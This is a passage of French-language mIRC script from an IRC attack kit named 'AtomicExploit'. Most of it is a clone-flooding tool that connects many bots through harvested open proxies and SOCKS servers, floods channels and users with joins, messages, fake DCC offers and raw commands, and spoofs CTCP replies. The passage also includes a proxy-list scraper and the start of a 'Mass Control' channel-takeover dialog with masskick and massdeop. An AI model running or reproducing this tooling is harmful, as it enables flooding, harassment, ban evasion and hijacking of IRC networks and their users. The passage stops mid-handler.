  echo -a 0,1 AtomicExploit - est accesible dans la Command Toolbar ou en tappant /AtomicExploit
  echo -a 0,1 +  Rempliser toute le options ...  +
  if ($exists( [ [ $scriptdir ] $+ ] readme.txt )) { run $scriptdirreadme.txt }
}

alias unloadversion? {
  if ($version < 5.7) { 
    echo -a 0,1 AtomicExploit n'est pas compatible avec mirc $version : 5.7+ est requis pour le faire fonctionner. 
    unload -rs $script 
  }
  if ($window(-1).h < 600) || ($window(-1).w < 800) { 
    echo -a 0,1 AtomicExploit est compatible avec une resolution de 800+ par 600+ pixels. 
    unload -rs $script 
  }
}

alias -l options.write {
  if ($exists( [ [ $scriptdir ] $+ ] options.txt ) == $false) { 
    write -c [ [ $scriptdir ] $+ ] options.txt *Do not edit manually*
    write [ [ $scriptdir ] $+ ] options.txt 1080
    write [ [ $scriptdir ] $+ ] options.txt 23
    write [ [ $scriptdir ] $+ ] options.txt 10
    write [ [ $scriptdir ] $+ ] options.txt 10
    write [ [ $scriptdir ] $+ ] options.txt 20
    write [ [ $scriptdir ] $+ ] options.txt 20
    write [ [ $scriptdir ] $+ ] options.txt [ [ $scriptdir ] $+ ] Socks4.txt
    write [ [ $scriptdir ] $+ ] options.txt [ [ $scriptdir ] $+ ] Wingate.txt
    write [ [ $scriptdir ] $+ ] options.txt 1,1,1
  }
}

alias genocide.unload {
  if ($?!="Est tu sur de vouloir decharger AtomicExploit v 2?" == $true) { 
    .sockclose geno* 
    sockclose identd.geno* 
    unset %geno* 
    .timergeno* off 
    .timertask off 
    if ($dialog(geno)) { dialog -x geno geno } 
    unload -rs $script 
  }
}
Alias PRADA { 
  If ($Dialog(Clone)) { Dialog -v Clone } 
  Else { Dialog -md Clone Clone } 
} 

dialog Clone { 
  title "PRADA" 
  size -1 -1 577 512 
  option pixels 
  tab "Settings", 75, 8 8 559 463 
  box "Settings", 1, 16 40 540 420, tab 75 
  edit "irc.chatvn.com", 2, 66 62 242 21, tab 75 autohs 
  text "Server:", 3, 24 64 34 16, tab 75 
  edit "6667", 4, 312 62 44 20, tab 75 limit 5 
  text "Protocol:", 5, 24 90 42 16, tab 75 
  combo 6, 66 86 80 68, tab 75 size drop 
  box "On Connect", 7, 24 248 332 204, tab 75 
  box "Nickname and Real Name", 8, 24 120 332 124, tab 75 
  text "Connections:", 9, 152 90 66 16, tab 75 
  edit "128", 10, 224 88 44 20, tab 75 limit 4 
  radio "Random", 11, 32 136 58 20, tab 75 
  radio "Nicklist:", 12, 32 160 54 20, tab 75 
  radio "Other:", 13, 32 184 54 20, tab 75 
  edit "", 14, 88 160 196 20, disable tab 75 autohs 
  edit "", 15, 88 184 196 20, disable tab 75 limit 10 
  button "&Browse", 16, 288 160 58 20, disable tab 75 
  text "UserMode:", 17, 32 272 50 16, tab 75 
  edit "+id", 18, 88 270 60 20, tab 75 
  edit "", 19, 32 312 316 132, tab 75 multi return autohs autovs 
  text "Raw IRC Commands:", 20, 32 296 106 16, tab 75 
  box "Proxy/Socks List", 26, 360 56 188 396, tab 75 
  edit "", 85, 88 214 260 21, tab 75 autohs limit 70 
  text "Host:", 27, 368 80 26 16, tab 75 
  text "Port:", 28, 368 104 26 16, tab 75 
  edit "", 29, 400 78 140 20, tab 75 limit 15 
  edit "", 30, 400 102 140 20, tab 75 limit 5 
  button "Add", 31, 368 128 82 20, tab 75 
  button "Remove", 32, 456 128 82 20, tab 75 
  button "Import File", 33, 368 152 82 20, tab 75 
  list 34, 368 176 172 238, tab 75 size 
  button "Remove All", 35, 368 418 170 24, tab 75 
  check "CTCP Replies", 81, 272 89 84 20, tab 75 
  text "Real Name:", 82, 32 216 56 16, tab 75 
  button "Clipboard", 83, 456 152 82 20, tab 75 
  tab "Actions", 76 
  box "Actions", 36, 176 39 380 420, tab 76 
  box "Nicklist", 37, 16 40 156 356, tab 76 
  button "Join", 41, 184 62 67 20, disable tab 76 
  edit "", 42, 256 62 84 21, tab 76 autohs 
  button "Part", 43, 184 86 67 20, disable tab 76 
  edit "", 44, 256 86 84 21, tab 76 autohs 
  edit "", 45, 344 86 204 21, tab 76 autohs 
  button "Join Part", 46, 184 110 67 20, disable tab 76 
  edit "", 47, 256 110 84 21, tab 76 autohs 
  edit "", 48, 344 110 204 21, tab 76 autohs 
  button "Message", 49, 184 142 67 20, disable tab 76 
  edit "", 50, 256 142 84 21, tab 76 autohs 
  edit "", 51, 344 142 204 21, tab 76 autohs 
  button "Notice", 52, 184 166 67 20, disable tab 76 
  edit "", 53, 256 166 84 21, tab 76 autohs 
  edit "", 54, 344 166 204 21, tab 76 autohs 
  button "Describe", 55, 184 190 67 20, disable tab 76 
  edit "", 56, 256 190 84 21, tab 76 autohs 
  edit "", 57, 344 190 204 21, tab 76 autohs 
  button "CTCP", 58, 184 222 67 20, disable tab 76 
  edit "", 59, 256 222 84 21, tab 76 autohs 
  combo 60, 344 222 204 76, tab 76 size edit drop 
  button "DCC Send", 61, 184 246 67 20, disable tab 76 
  edit "", 62, 256 246 84 21, tab 76 autohs 
  edit "", 63, 344 246 204 21, tab 76 autohs 
  button "DCC Chat", 64, 184 270 67 20, disable tab 76 
  edit "", 65, 256 270 84 21, tab 76 autohs 
  button "Nick", 66, 184 294 67 20, tab 76 
  radio "Nicklist:", 68, 256 320 54 20, tab 76 
  radio "Other:", 69, 256 344 54 20, tab 76 
  radio "Random", 67, 256 296 58 20, tab 76 
  button "Browse", 72, 480 320 67 20, disable tab 76 
  edit "", 70, 312 320 164 21, disable tab 76 autohs 
  edit "", 74, 256 374 292 77, tab 76 multi return autohs autovs 
  button "Raw", 73, 184 374 67 20, disable tab 76 
  edit "", 71, 312 344 164 21, disable tab 76 limit 10 
  list 38, 24 56 140 308, tab 76 size extsel 
  text "Perform:", 39, 24 370 42 16, tab 76 
  combo 40, 72 368 92 60, tab 76 size drop 
  box "Statistics", 21, 16 400 156 60, tab 76 
  text "Total Connections:", 23, 24 436 92 16, tab 76 
  text "Connected Clones:", 22, 24 420 92 16, tab 76 
  text "0", 24, 120 420 42 16, tab 76 
  text "0", 25, 120 436 42 16, tab 76 
  tab "Get Lists", 97 
  edit "", 98, 24 56 260 21, tab 97 autohs 
  button "&Add URL", 99, 288 56 67 20, tab 97 
  list 100, 24 80 332 340, tab 97 size hsbar 
  box "URL List", 101, 16 40 348 420, tab 97 
  box "Taken Proxies/Socks", 102, 368 40 188 316, tab 97 
  list 103, 376 56 172 244, tab 97 size 
  button "Export", 104, 465 306 84 20, tab 97 
  text "Completed:", 105, 368 392 58 16, tab 97 
  text "0", 106, 432 408 122 16, tab 97 
  button "Get List", 107, 368 432 187 25, tab 97 
  button "Move to Proxy/Socks List", 109, 376 328 173 20, tab 97 
  text "Total Sites:", 110, 368 408 58 16, tab 97 
  text "0", 111, 432 392 122 16, tab 97 
  text "Socks/Proxies Taken:", 112, 368 368 106 16, tab 97 
  text "0", 113, 480 368 74 16, tab 97 
  button "Clear", 108, 376 306 84 20, tab 97 
  button "Remove Selected", 114, 24 432 163 20, tab 97 
  button "Remove All", 115, 192 432 163 20, tab 97 
  button "&Connect", 77, 8 480 83 25 
  button "&Disconnect", 78, 96 480 83 25 
  button "&Exit", 79, 490 480 75 25 
  button "Connected IP:Ports", 80, 368 480 115 25 
  button "Close Sockets", 84, 184 480 83 25 
} 

On *:Dialog:Clone:Init:*: { 
  Did -a $DName 6 Normal 
  Did -a $DName 6 Proxy 
  Did -a $DName 6 Socks 
  Did -c $DName 6 2 
  Did -a $DName 40 All 
  Did -a $DName 40 Selected 
  Did -c $DName 40 1 
  Did -a $DName 60 PING 
  Did -a $DName 60 TIME 
  Did -a $DName 60 VERSION 
  Did -c $DName 11 
  Did -c $DName 67 
  Add Socks 
} 

On *:Dialog:Clone:Edit:*: { 
  If ($Did == 42) { 
    If ($Left($Did(42),1) == $Chr(35)) && ($Count($Did(42),$Chr(32)) <= 1) { Did -e $DName 41 } 
    Else { Did -b $DName 41 } 
  } 
  If ($Did == 44) { 
    If ($Left($Did(44),1) == $Chr(35)) && ($Count($Did(44),$Chr(32)) == 0) { Did -e $DName 43 } 
    Else { Did -b $DName 43 } 
  } 
  If ($Did == 47) { 
    If ($Left($Did(47),1) == $Chr(35)) && ($Count($Did(47),$Chr(32)) == 0) { Did -e $DName 46 } 
    Else { Did -b $DName 46 } 
  } 
  If ($Did == 50) { 
    If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 } 
    Else { Did -b $DName 49 } 
  } 
  If ($Did == 51) { 
    If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 } 
    Else { Did -b $DName 49 } 
  } 
  If ($Did == 53) { 
    If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(53)) >= 1) && ($Did(54)) { Did -e $DName 52 } 
    Else { Did -b $DName 52 } 
  } 
  If ($Did == 54) { 
    If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(54)) { Did -e $DName 52 } 
    Else { Did -b $DName 52 } 
  } 
  If ($Did == 56) { 
    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 } 
    Else { Did -b $DName 55 } 
  } 
  If ($Did == 57) { 
    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 } 
    Else { Did -b $DName 55 } 
  } 
  If ($Did == 59) { 
    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 } 
    Else { Did -b $DName 58 } 
  } 
  If ($Did == 60) { 
    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 } 
    Else { Did -b $DName 58 } 
  } 
  If ($Did == 62) { 
    If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 } 
    Else { Did -b $DName 61 } 
  } 
  If ($Did == 63) { 
    If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 } 
    Else { Did -b $DName 61 } 
  } 
  If ($Did == 65) { 
    If ($Count($Did(65),$Chr(32)) == 0) && ($Len($Did(65)) >= 1) && ($Left($Did(65),1) != $Chr(35)) { Did -e $DName 64 } 
    Else { Did -b $DName 64 } 
  } 
  If ($Did == 74) { 
    If ($Len($Did(74)) >= 1) { Did -e $DName 73 } 
    Else { Did -b $DName 73 } 
  } 
  If ($Did == 70) { 
    If ($Did(70)) { Did -e $DName 66 } 
    Else { Did -b $DName 66 } 
  } 
  If ($Did == 71) { 
    If ($Did(71)) { Did -e $DName 66 } 
    Else { Did -b $DName 66 } 
  } 
} 

Alias Clone.Error { Var %E = $Input($1-,o,Clone) } 

On *:Dialog:Clone:SClick:*: { 
  If ($Did == 31) { 
    If (*.*.* iswm $Did(29)) && ($Did(30) <= 65535) && ($Did(30) >= 1) { Did -a $DName 34 $Did(29) $Did(30) } 
    Else { Clone.Error Invalid Sock/Proxy or Port } 
  } 
  If ($Did == 32) && ($Did(34).Sel) { Did -d $DName 34 $Did(34).Sel } 
  If ($Did == 33) { 
    Var %F = $SFile($mIRCDir,Clone,Import) 
    If (%F) { 
      Var %I = 1 
      While ($Read(%F,%I)) { 
        Var %F1 = $Read(%F,%I) 
        If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) } 
        If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Sock/Proxy file | Return } 
        Else { Did -a $DName 34 %F1 } 
        Inc %I 
      } 
    } 
  } 
  If ($Did == 83) { 
    Var %I = 1 
    While ($CB(%I)) { 
      Var %F1 = $CB(%I) 
      If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) } 
      If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Socks/Proxys in Clipboard | Return } 
      Else { Did -a $DName 34 %F1 } 
      Inc %I 
    } 
  } 
  If ($Did == 35) { Did -r $DName 34 } 
  If ($Did == 11) { Did -b $DName 14 | Did -b $DName 15 | Did -b $DName 16 } 
  If ($Did == 12) { Did -e $DName 14 | Did -b $DName 15 | Did -e $DName 16 } 
  If ($Did == 13) { Did -b $DName 14 | Did -e $DName 15 | Did -b $DName 16 } 
  If ($Did == 67) { Did -b $DName 70 | Did -b $DName 71 | Did -b $DName 72 | Did -e $DName 66 } 
  If ($Did == 68) { 
    Did -e $DName 70 | Did -b $DName 71 | Did -e $DName 72 
    If ($Did(70)) { Did -e $DName 66 } 
    Else { Did -b $DName 66 } 
  } 
  If ($Did == 69) { 
    Did -b $DName 70 | Did -e $DName 71 | Did -b $DName 72 
    If ($Did(71)) { Did -e $DName 66 } 
    Else { Did -b $DName 66 } 
  } 
  If ($Did == 16) { 
    Var %F = $SFile($mIRCDir,Clone,Import) 
    If (%F) { Did -ra $DName 14 %F } 
  } 
  If ($Did == 72) { 
    Var %F = $SFile($mIRCDir,Clone,Import) 
    If (%F) { Did -ra $DName 70 %F | Did -e $DName 66 } 
  } 
  If ($Did == 60) { 
    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 } 
    Else { Did -b $DName 58 } 
  } 
  If ($Did == 41) { Clone.Do $Did(40) JOIN $Did(42) } 
  If ($Did == 43) { Clone.Do $Did(40) PART $Did(44) : $+ $Did(45) } 
  If ($Did == 46) { Clone.Do $Did(40) JOINPART $Did(47) : $+ $Did(48) } 
  If ($Did == 49) { Clone.Do $Did(40) PRIVMSG $Did(50) : $+ $Did(51) } 
  If ($Did == 52) { Clone.Do $Did(40) NOTICE $Did(53) : $+ $Did(54) } 
  If ($Did == 55) { Clone.Do $Did(40) PRIVMSG $Did(56) :ACTION $Did(57) $+  } 
  If ($Did == 58) { Clone.Do $Did(40) PRIVMSG $Did(59) : $+ $Did(60) $+  } 
  If ($Did == 61) { Clone.Do $Did(40) PRIVMSG $Did(62) :DCC SEND $Did(63) $Rand(0,4294967294) 1024 $Rand(10000,500000) $+  } 
  If ($Did == 64) { Clone.Do $Did(40) PRIVMSG $Did(65) :DCC CHAT chat $Rand(0,4294967294) 1024 } 
  If ($Did == 66) { Clone.Do $Did(40) NICK } 
  If ($Did == 73) { 
    Var %I = 1 
    While ($Did(74,%I)) { Clone.Do $Did(40) RAW $Did(74,%I) | Inc %I } 
  } 
  If ($Did == 77) { 
    If (!$Did(34,1)) && (($Did(6) == Proxy) || ($Did(6) == Sock)) { Clone.Error Enter $Did(6) to the $Did(6) list } 
    ElseIf (*.*.* !iswm $Did(2)) { Clone.Error Enter a valid Server } 
    ElseIf ($Did(4) <= 0) && ($Did(4) >= 65535) { Clone.Error Enter a valid Port } 
    ElseIf (!$Did(10)) || ($Did(10) !isnum) { Clone.Error Enter the number clones to connect } 
    ElseIf ($Did(12).State == 1) && ($Exists($Did(14)) == $False) { Clone.Error Nicklist doesnt Exist } 
    ElseIf ($Did(13).State == 1) && (!$Did(15)) { Clone.Error Enter a Nickname } 
    ElseIf ($Did(6) == Sock) && ($Remove($Did(2),.) !isnum) { .Enable #Clone.DNS | .DNS $Did(2) } 
    Else { .TimerClone.Go $Did(10) 0 Clone.Go } 
  } 
  If ($Did == 78) { Did -r $DName 38 | Did -ra $DName 24 0 | Did -ra $DName 25 0 | SockClose Clone.* | Unset %Clone.* } 
  If ($Did == 79) { SockClose Clone.* | Dialog -x $DName } 
  If ($Did == 80) { Clone.IPs } 
  If ($Did == 84) { 
    Var %I = 1 
    While ($Sock(Clone.*,%I)) { 
      If (!$Sock(Clone.*,%I).Mark) { SockClose $Sock(Clone.*,%I) } 
      Inc %I 
    } 
    Did -ra Clone 25 $Sock(Clone.*,0) 
  } 
  If ($Did == 99) { 
    Did -a $DName 100 $Did(98) 
    Did -ra $DName 106 $Calc($Did(106) + 1) 
  } 
  If ($Did == 104) { 
    Var %F = $Input(Enter Filename:,ego,Clone) 
    If (%F) { 
      Var %I = 1 
      While ($Did(103,%I)) { Write %F $Did(103,%I) | Inc %I } 
    } 
  } 
  If ($Did == 107) { 
    Did -ra $DName 111 0 
    Var %I = 1 
    While ($Did(100,%I)) { 
      SockQueue CloneGet. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47) 80 
      Set %Clone.Get.URL. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47) 
      Set %Clone.Get.Ext. [ $+ [ %I ] ] $Iif($Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47) $+ $Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47)) 
      Inc %I 
    } 
  } 
  If ($Did == 108) { Did -r $DName 103 } 
  If ($Did == 109) { 
    Did -r $DName 34 
    Var %I = 1 
    While ($Did(103,%I)) { Did -a $DName 34 $Replace($Did(103,%I),$Chr(58),$Chr(32)) | Inc %I } 
  } 
  If ($Did == 114) && ($Did(100).Sel) { Did -d $DName 100 $Did(100).Sel } 
  If ($Did == 115) { Did -r $DName 100 } 
} 

On *:SockOpen:CloneGet.*: { 
  SockWrite -n $SockName GET %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ] HTTP/1.0 
  SockWrite -n $SockName Accept: */* 
  SockWrite -n $SockName Host: www. $+ %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ] 
  SockWrite -n $SockName Connection: Keep-Alive 
  SockWrite -n $SockName 
  Unset %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ] 
  Unset %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ] 
} 

On *:SockRead:CloneGet.*: { 
  SockRead %R 
  If $WildTok(%R,*.*.*.*:*,1,32) && ($Remove($WildTok(%R,*.*.*.*:*,1,32),$Chr(46),$Chr(58)) isnum) { 
    Did -a Clone 103 $WildTok(%R,*.*.*.*:*,1,32) 
    Did -ra Clone 113 $Calc($Did(Clone,113) + 1) 
  } 
  Unset %R 
} 

Alias SockQueue { 
  If ($Sock(CloneGet.*,0) <= 6) { SockOpen $1- } 
  Else { Set %Clone.Queue. [ $+ [ $Rand(1,9999999) ] ] $1- } 
} 

On *:SockClose:CloneGet.* { 
  If ($Var(%Clone.Queue.*,1)) { 
    SockOpen $Var(%Clone.Queue.*,1).Value 
    Unset $Var(%Clone.Queue.*,1) 
  } 
  Did -ra Clone 111 $Calc($Did(Clone,111) + 1) 
} 

#Clone.DNS off 
On *:DNS: { 
  If ($RAddress) { Did -ra Clone 2 $RAddress | .TimerClone.Go $Did(Clone,10) 0 Clone.Go } 
  Else { Clone.Error Unable to resolve DNS of $Did(Clone,10) } 
  .Disable #Clone.DNS 
  Halt 
} 
#Clone.DNS End 

Alias Clone.Do { 
  If ($1 == All) { 
    Var %I = 1 
    While ($Sock(Clone.*,%I)) { 
      If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%I) JOIN $3 | SockWrite -nt $Sock(Clone.*,%I) PART $3- } 
      ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%I) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%I))) } 
      ElseIf ($2 == NICK) { 
        If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Clone.RandNick } 
        If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Gettok($Read($Did(Clone,70)),1,32) } 
        If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Did(Clone,71) $+ $Clone.RandNick(2) } 
      } 
      Else { SockWrite -nt $Sock(Clone.*,%I) $2- } 
      Inc %I 
    } 
  } 
  If ($1 == Selected) { 
    Var %I = 1 
    While ($Did(Clone,38,%I)) { 
      If ($Did(Clone,38,%I).State == 1) { 
        Var %J = 1 
        While ($Sock(Clone.*,%J)) { 
          If ($Sock(Clone.*,%J).Mark == $Did(Clone,38,%I)) { 
            If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%J) JOIN $3 | SockWrite -nt $Sock(Clone.*,%J) PART $3- } 
            ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%J) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%J))) } 
            ElseIf ($2 == NICK) { 
              If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Clone.RandNick } 
              If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Gettok($Read($Did(Clone,70)),1,32) } 
              If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Did(Clone,71) } 
            } 
            Else { SockWrite -nt $Sock(Clone.*,%J) $2- } 
          } 
          Inc %J 
        } 
      } 
      Inc %I 
    } 
  } 
} 

Alias Clone.Conn { If ($Did(Clone,38,1)) { Return $Did(Clone,38).Lines } } 

On *:SockOpen:Clone.*: { 
  If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return } 
  If (Clone.Sock.* iswm $SockName) { BSet &Clone 1 5 1 0 | SockWrite $SockName &Clone } 
  If (Clone.Proxy.* iswm $SockName) { 
    SockWrite $SockName CONNECT $+($Did(Clone,2),:,$Did(Clone,4)) HTTP/1.1 
    SockWrite $SockName $CRLF $+ $CRLF $+ $CRLF 
    Clone.Conn.User $SockName 
  } 
  If (Clone.Normal.* iswm $Sockname) { Clone.Conn.User $SockName } 
  Did -ra Clone 25 $Sock(Clone.*,0) 
} 

On *:SockRead:Clone.*: { 
  If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return } 
  If (Clone.Sock.* iswm $SockName) && (!$Sock($SockName).Mark) { 
    SockRead &Read 
    If ($BVar(&Read,1,2) == 5 0) && ($BVar(&Read,3) != 0) { 
      Var %Port = $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46) 
      Var %Serv = $Replace($Did(Clone,2),$Chr(46),$Chr(32)) 
      BSet &Clone.Send 1 5 1 0 1 %Serv %Port 
      SockWrite $SockName &Clone.Send 
    } 
    If ($BVar(&Read,1,3) == 5 0 0) { SockMark $SockName 1 | Clone.Conn.User $SockName } 
  } 
  SockRead %Clone.Read 
  If (%Clone.Read) { Echo %Clone.Read } 
  Tokenize 32 %Clone.Read 
  Unset %Clone.Read 
  If (*<HTML>* iswm $1-) && (!$Sock($SockName).Mark) { 
    SockClose $SockName 
  } 
  If ($1 == PING) { SockWrite -nt $SockName PONG : $+ $Remove($2,:) } 
  If ($2 == PRIVMSG) && ($Did(Clone,81).State == 1) { 
    If ($4 == :PING) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :PING $5 } 
    If ($4 == :TIME) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :TIME $ASCTime($Calc($Rand($Calc($CTime - 10000),$Calc($CTime + 10000)))) $+  } 
    If ($4 == :VERSION) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :VERSION mIRC v6.16 Khaled Mardam-Bey } 
  } 
  If ($2 == 001) { 
    Var %I = 1 
    While ($Did(Clone,19,%I)) { SockWrite -nt $SockName $Replace($Did(Clone,19,%I),^Nick^,$3) | Inc %I } 
    If ($3) { Did -a Clone 38 $3 } 
    Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0) 
    SockWrite -nt $SockName Mode $3 $Did(Clone,18) 
    SockMark $SockName $3 
  } 
  If ($2 == 433) { 
    If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { 
      If ($Did(Clone,67).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick } 
      If ($Did(Clone,68).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Read($Did(Clone,70)) } 
      If ($Did(Clone,69).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,71) $+ $Clone.RandNick(2) } 
    } 
    Else { 
      If ($Did(Clone,11).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick } 
      If ($Did(Clone,12).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 Clone.Conn.User $SockName } 
      If ($Did(Clone,13).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,15) $+ $Clone.RandNick(2) } 
    } 
  } 
  If ($2 == NICK) && ($Remove($Gettok($1,1,33),:) == $Sock($SockName).Mark) { 
    Var %I = 1 
    While ($Did(Clone,38,%I)) { 
      If ($Did(Clone,38,%I) == $Remove($Gettok($1,1,33),:)) { Did -o Clone 38 %I $Remove($3,:) } 
      Inc %I 
    } 
    SockMark $SockName $Remove($3,:) 
  } 
  Did -ra Clone 25 $Sock(Clone.*,0) 
} 

Alias Clone.Ignore { 
  Var %I = 1 
  While ($Did(Clone,96,%I)) { 
    If ($Did(Clone,96,%I) iswm $Remove($1,$Chr(58))) { Return $Did(Clone,96,%I) } 
    Inc %I 
  } 
} 

On *:SockClose:Clone.*: { 
  If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { 
    Var %I = 1 
    While ($Did(Clone,38,%I)) { 
      If ($Did(Clone,38,%I) == $Sock($SockName).Mark) { Did -d Clone 38 %I } 
      Inc %I 
    } 
  } 
  Did -ra Clone 25 $Sock(Clone.*,0) 
  Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0) 
} 

Alias Clone.Nick { Return $Sock($1).Mark } 

Alias Clone.Sock { 
  Var %I = 1 
  While ($Sock(Clone.*,%I)) { 
    If ($Sock(Clone.*,%I).Mark == $1) { Return $Sock(Clone.*,%I) } 
    Inc %I 
  } 
} 

Alias Clone.RandNick { 
  Var %I = $Iif($1,$1,$Rand(3,12)), %J = 1 
  While (%J <= %I) { Var %C = $Rand(1,0), %N = %N $+ $Iif(%C == 1,$Rand(A,Z),$Rand(a,z)) | Inc %J } 
  Return %N 
} 

Alias Clone.Conn.User { 
  If ($Did(Clone,11).State == 1) { 
    SockWrite -nt $1 USER $Lower($Clone.RandNick) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Clone.RandNick($Rand(20,70))) 
    SockWrite -nt $1 NICK $Clone.RandNick 
  } 
  If ($Did(Clone,12).State == 1) { 
    Var %N = $Gettok($Read($Did(Clone,14)),1,32) 
    SockWrite -nt $1 USER $Lower(%N) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),%N) 
    SockWrite -nt $1 NICK %N 
  } 
  If ($Did(Clone,13).State == 1) { 
    SockWrite -nt $1 USER $Lower($Did(Clone,15)) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Did(Clone,15)) 
    SockWrite -nt $1 NICK $Did(Clone,15) $+ $Clone.RandNick(2) 
  } 
} 

Alias Clone.Go { 
  If (!$Did(Clone,34,%Clone.List)) { Set %Clone.List 1 } 
  :Again 
  Var %R = $Rand(0,9999999) 
  If ($Sock($+(Clone.,$Did(Clone,6),.,%R))) { Goto Again } 
  If ($Did(Clone,6) == Normal) { SockOpen Clone.Normal. $+ %R $Did(Clone,2) $Did(Clone,4) } 
  Else { SockOpen $+(Clone.,$Did(Clone,6),.,%R) $Did(Clone,34,%Clone.List) } 
  Inc %Clone.List 
  Did -ra Clone 25 $Sock(Clone.*,0) 
} 

Dialog -l Clone.IPs { 
  Title "Connected IP Ports" 
  Size -1 -1 254 360 
  Option Pixels 
  Edit "", 1, 8 8 236 317, Read Multi 
  Button &Refresh List, 2, 8 332 235 20 
} 

On *:Dialog:Clone.IPs:Init:*: { Clone.IPs } 
On *:Dialog:Clone.IPs:SClick:2: { Clone.IPs } 

Alias Clone.IPs { 
  If (!$Dialog(Clone.IPs)) { Dialog -md Clone.IPs Clone.IPs } 
  Did -r Clone.IPs 1 
  Var %I = 1 
  While ($Sock(Clone.*,%I)) { 
    If ($Sock(Clone.*,%I).Mark) && ($Sock(Clone.*,%I).Mark != 1) && (!$DidWM(Clone.IPs,1,$Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port)) { 
      Did -i Clone.IPs 1 1 $Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port 
    } 
    Inc %I 
  } 
} 
.type /clone 
: ############## Mass Control #################
alias takeover dialog -m takeover takeover
dialog takeover {
  title "Mass Control Fais Par Rectum Crew"
  size -1 -1 147 109
  option dbu
  text "Choisir un channel:" 2, 5 10 46 7,
  combo 3, 55 5 79 116, Drop
  button "Lancer" 4, 5 90 36 13, Ok
  box "Choisir le Mass:" 5, 5 25 137 58,
  radio "Masskick" 6, 10 35 35 8,
  radio "Massdeop" 7, 50 35 39 8,
  radio "Massop" 8, 100 35 38 8,
  radio "Massdevoice" 9, 50 45 44 9,
  radio "Massvoice" 10, 10 45 38 9,
  check "Inclure Le TakeOver" 11, 10 60 70 9,
  text "(Mode +ntmsikl)" 12, 10 70 43 8,
  button "Quitter" 13, 50 90 37 13, Cancel
}
on 1:dialog:takeover:init:0:{
  takeover.chanlist
}
on 1:dialog:takeover:sclick:4:{
  if ($me isop %takeover. [ $+ [ $did(takeover,3).sel ] ]) {
    if ($did(11).state == 1) {
